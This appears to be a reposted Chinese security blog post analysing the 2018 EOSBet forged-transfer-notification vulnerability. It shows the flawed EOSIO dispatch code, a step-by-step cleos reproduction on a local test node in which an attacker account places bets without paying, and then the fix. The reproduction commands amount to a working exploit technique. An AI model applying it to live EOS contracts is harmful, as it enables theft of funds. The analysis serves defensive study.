区块广播:

EOS dApp 漏洞盘点分析—EOSBet 假充值漏洞一

55fed80889水手发布在 技术文档
 2186  0

Written by WeaponX@零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis

0x00 背景

EOSBet在2018年9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
0.png

0x01 技术分析

由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI

// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
	void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
		auto self = receiver; \
		if( action == N(onerror)) { \
			/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
			eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
		} \
		if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
			TYPE thiscontract( self ); \
			switch( action ) { \
				EOSIO_API( TYPE, MEMBERS ) \
			} \
		/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
		} \
	} \
}

通过官方给出的EOSIO_ABI,问题主要出在以下代码

if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
			TYPE thiscontract( self ); \
			switch( action ) { \
				EOSIO_API( TYPE, MEMBERS ) \
			} \
		}

该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。

但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。

黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。

0x02 攻击复盘

创建eosio.token账户

cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV

部署eosio.token合约并初始化

# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token

创建游戏账户、开奖账户和攻击者账户

#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk

设置账户随机权限和开奖权限

#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random

向相关账户冲入代币

#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
![4.png](https://appserversrc.8btc.com/newthread/201903141228211.png)

部署游戏合约并初始化

#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino

模拟黑客攻击(伪造转账通知)

cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker

查询游戏订单

cleos get table eosbetdice11 eosbetdice11 activebets

1.png
可见,游戏订单已经生成,查询attackereosbetdice11账户
2.png
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS

最后对该订单进行开奖。

cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random

3.png
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。

0x03 后记

EOSBet随后将修复方案公开

// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
	void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
		auto self = receiver; \
		if( code == self || code == N(eosio.token)) { \
			if( action == N(transfer)){ \
				// 必须是eosio.token来调用合约自身的transfer函数
				eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
			} \
			TYPE thiscontract( self ); \
			switch( action ) { \
				EOSIO_API( TYPE, MEMBERS ) \
			} \
		/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
		} \
	} \
}

可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D

0x04 修复方案

零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:

  • 通知是否来自eosio.token,即只处理eosio.token发送的通知

    eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");
    
  • 转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知

    eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
    

0x05 Refer

https://medium.com/@eosbetcasino/eosbet-transfer-hack-statement-31a3be4f5dcf

https://gitlab.com/EOSBetCasino/eosbetdice_public

本主题由 Linkea 于 2019-03-18 16:40:05 分类
  • 正序
  • 最新
帖子暂无回复,回帖抢沙发
登录 账号发表你的看法,还没有账号?立即免费 注册